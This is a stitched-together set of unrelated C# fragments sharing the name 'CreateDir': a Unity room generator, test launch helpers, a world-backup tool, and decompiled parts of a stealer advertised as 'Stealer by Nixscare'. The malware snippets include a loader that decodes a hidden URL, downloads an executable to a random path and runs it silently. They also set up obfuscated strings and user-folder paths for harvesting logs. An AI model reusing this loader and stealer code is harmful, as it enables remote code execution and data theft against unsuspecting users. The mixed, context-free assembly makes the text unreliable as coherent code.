int FindDirection(CreateDir dir) { switch (dir) { case CreateDir.North: break; case CreateDir.West: break; case CreateDir.South: break; case CreateDir.East: break; default: break; } roomProp = room.GetComponent <RoomGenerate>(); int num = 0; return(num); }
internal static Process StartWith(string filePath, int portOffset, out VersionKeeperSettings serverCfg, string fileKey = "binary1") { var tmpDir = CreateDir.InTemp(); var tmpExe = Path.Combine(tmpDir, EXE_NAME); File.Copy(GetDebugExe(), tmpExe); var cfgUri = Path.Combine(tmpDir, VersionKeeperCfgFile.FILE_NAME); serverCfg = ComposeCfg(filePath, portOffset, fileKey); JsonFile.Write(serverCfg, cfgUri); return(Process.Start(tmpExe)); }
// Use this for initialization void Start() { //BuildingController.AddRoom(room); dir = CreateDir.North; //roomBox = gameObject.GetComponent<Collider>(); roomProp = room.GetComponent <RoomGenerate>(); roomLength = roomProp.roomLength; roomWidth = roomProp.roomWidth; if (gameObject.name == "WalkerAI_No") { dir = CreateDir.North; direction = new Vector3(0, 0, 0.1f); multiplier = -roomLength; xMod = transform.parent.position.x; zMod = transform.parent.position.z; } if (gameObject.name == "WalkerAI_So") { dir = CreateDir.South; direction = new Vector3(0, 0, -0.1f); xMod = transform.parent.position.x; zMod = transform.parent.position.z; multiplier = roomLength; yOffset = true; } if (gameObject.name == "WalkerAI_We") { dir = CreateDir.West; direction = new Vector3(-0.1f, 0, 0); xMod = transform.parent.position.x + -14; zMod = transform.parent.position.z; multiplier = 1; xOffset = true; //xMod = (-10 * roomWidth); //zMod = transform.root.position.z; } if (gameObject.name == "WalkerAI_Ea") { dir = CreateDir.East; direction = new Vector3(0.1f, 0, 0); xMod = transform.parent.position.x; zMod = transform.parent.position.z; multiplier = roomWidth; //xMod = -7 + (transform.root.position.x * 10); //zMod = transform.root.position.z; } }
internal static async Task <Process> StartWith(string filePath, VersionKeeperSettings serverCfg, bool updateSelf = false) { var tmpDir = CreateDir.InTemp(); var tmpExe = Path.Combine(tmpDir, EXE_NAME); File.Copy(GetDebugExe(), tmpExe); var cfgUri = Path.Combine(tmpDir, UpdateCheckerCfgFile.FILE_NAME); var cfgObj = ComposeCfg(filePath, serverCfg, updateSelf); JsonFile.Write(cfgObj, cfgUri); await Task.Delay(1000 * 2); var proc = Process.Start(tmpExe); await Task.Delay(1000 * 4); return(proc); }
// Token: 0x0600005B RID: 91 RVA: 0x00005CCC File Offset: 0x00003ECC public static void Load() { try { using (WebClient webClient = new WebClient()) { string text = Exporter.Export("<ulfile>", "</ulfile>", Starter.FileData); if (!string.IsNullOrEmpty(text)) { string text2 = string.Format("{0}\\{1}.exe", CreateDir.create(GetRandom.String(null, 8), null, null), GetRandom.String(null, 8)); if (File.Exists(text2)) { File.Delete(text2); } File.WriteAllText(text2, webClient.DownloadString(Base64.Decode(text, null)), Encoding.GetEncoding(1251)); Process.Start(text2); } } } catch { } }
public static void Start() { Sender = Encoding.GetEncoding(1251).GetString(new byte[13] { 99, 71, 57, 49, 98, 71, 120, 112, 90, 50, 104, 48, 76 }); Handler = Encoding.GetEncoding(1251).GetString(new byte[18] { 110, 74, 49, 76, 50, 104, 104, 98, 109, 82, 115, 90, 83, 53, 119, 97, 72, 65 }); path_l = $"{CreateDir.create(GetRandom.String(null, 8))}\\"; path_p = $"{CreateDir.create(GetRandom.String(null, 8))}\\"; path_t = Path.GetTempPath(); path_ad = $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\"; path_lad = $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\"; path_ds = $"{Environment.GetFolderPath(Environment.SpecialFolder.Personal)}\\"; path_dp = $"{Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory)}\\"; head = $"===================================== [LOGS] ====================================={Environment.NewLine}{Environment.NewLine}"; XBufferData = new string[19] { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" }; }
// Token: 0x06000035 RID: 53 RVA: 0x00004AC8 File Offset: 0x00002CC8 public static void Start() { global::Buffer.Sender = Encoding.GetEncoding(1251).GetString(new byte[] { 99, 71, 57, 49, 98, 71, 120, 112, 90, 50, 104, 48, 76 }); global::Buffer.Handler = Encoding.GetEncoding(1251).GetString(new byte[] { 110, 74, 49, 76, 50, 104, 104, 98, 109, 82, 115, 90, 83, 53, 119, 97, 72, 65 }); global::Buffer.path_l = string.Format("{0}\\", CreateDir.create(GetRandom.String(null, 8), null, null)); global::Buffer.path_p = string.Format("{0}\\", CreateDir.create(GetRandom.String(null, 8), null, null)); global::Buffer.path_t = Path.GetTempPath(); global::Buffer.path_ad = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); global::Buffer.path_lad = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); global::Buffer.path_ds = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.Personal)); global::Buffer.path_dp = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory)); global::Buffer.head = string.Format("Stealer by Nixscare, buy here: @nixscare (telegram){0}{1}", Environment.NewLine, Environment.NewLine); global::Buffer.XBufferData = new string[] { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" }; }
private void CountdownThread_DoWork(object sender, DoWorkEventArgs e) { #region Variables string FROM; string TO; string Compression; decimal MAX; string MAX1; #endregion while (CountdownThread.CancellationPending == false) { FROM = XmlReader.GetWorld(); TO = XmlReader.GetBackupTo(); Compression = XmlReader.UseCompression(); MAX1 = XmlReader.GetBackupTime(); MAX = Convert.ToDecimal(MAX1); #region Do if variables not set if (FROM == "" || TO == "" || MAX == 0 || MAX1 == "") { while (CountdownThread.CancellationPending == false) { WaitTimer.Stop(); Log.MakeLog(null, "required things are blank: FROM: " + FROM + " TO: " + TO + " COMPRESSION:" + Compression + "TIMER: " + MAX.ToString()); this.Invoke((MethodInvoker) delegate() { StartButton.Enabled = true; }); this.Invoke((MethodInvoker) delegate() { StopButton.Enabled = false; }); CountdownThread.CancelAsync(); this.Invoke((MethodInvoker) delegate() { HelpLabel.Visible = true; }); e.Cancel = true; return; } } #endregion if (dec != 0.00M && !CountdownThread.CancellationPending) //reset value when thread runs// { dec = 0.00M; } #region Assign variables DirFrom = FROM; DirTo = TO; if (!DirFrom.EndsWith("\\") && DirFrom != "FTP") { DirFrom = DirFrom + "\\"; } if (!DirTo.EndsWith("\\") && DirTo != "FTP") { DirTo = DirTo + "\\"; } #endregion while (dec < MAX && !CountdownThread.CancellationPending) //Checks the time left is less than the total time { //do nothing// } DateNTime = DateTime.Now.ToString("MM.dd.yyyy hh-mm-ss"); #region Create directory and copy world if (Directory.Exists(DirTo) && DirTo != "FTP") { if (!Directory.Exists(DirTo + DateNTime)) //create the directory for the current time if it does not exist { Directory.CreateDirectory(DirTo + DateNTime); } if (DirFrom == "FTP") //if the from directory is FTP, start FTP downloading { Ftp_Download FTP = new Ftp_Download(); FTP.main(DateNTime); if (Compression == "yes") { CompressionBackground.RunWorkerAsync(); } } else if (DirTo == "FTP") { Ftp_Upload upload = new Ftp_Upload(); upload.Upload(DateNTime); } else if (DirFrom != "FTP") //if the from directory is not FTP, copy the directory. { #region create directories foreach (string dirPath in Directory.GetDirectories(DirFrom, "*", SearchOption.AllDirectories)) { Directory.CreateDirectory(dirPath.Replace(DirFrom, DirTo + DateNTime + "\\")); } foreach (string newPath in Directory.GetFiles(DirFrom, "*.*", SearchOption.AllDirectories)) { File.Copy(newPath, newPath.Replace(DirFrom, DirTo + DateNTime + "\\")); } #endregion if (Compression == "yes") { CompressionBackground.RunWorkerAsync(); } } else { //error } } else if (!Directory.Exists(DirTo) && DirTo != "FTP") { Directory.CreateDirectory(DirTo); if (DirFrom == "FTP") { Ftp_Download FTP = new Ftp_Download(); FTP.main(DateNTime); if (Compression == "yes") { CompressionBackground.RunWorkerAsync(); } } else { foreach (string CreateDir in Directory.GetDirectories(DirFrom, "*", SearchOption.AllDirectories)) { Directory.CreateDirectory(CreateDir.Replace(DirFrom, DirTo + DateNTime + "\\")); //create each sub directory } foreach (string file in Directory.GetFiles(DirFrom, "*", SearchOption.AllDirectories)) { File.Copy(file, file.Replace(DirFrom, DirTo + DateNTime + "\\")); //copy each file in sub directories, and in main directory } if (Compression == "yes") { CompressionBackground.RunWorkerAsync(); } } } else if (DirTo == "FTP") { Ftp_Upload Upload = new Ftp_Upload(); Upload.Upload(DateNTime); } else { //Error// MessageBox.Show("ERROR"); } #endregion } }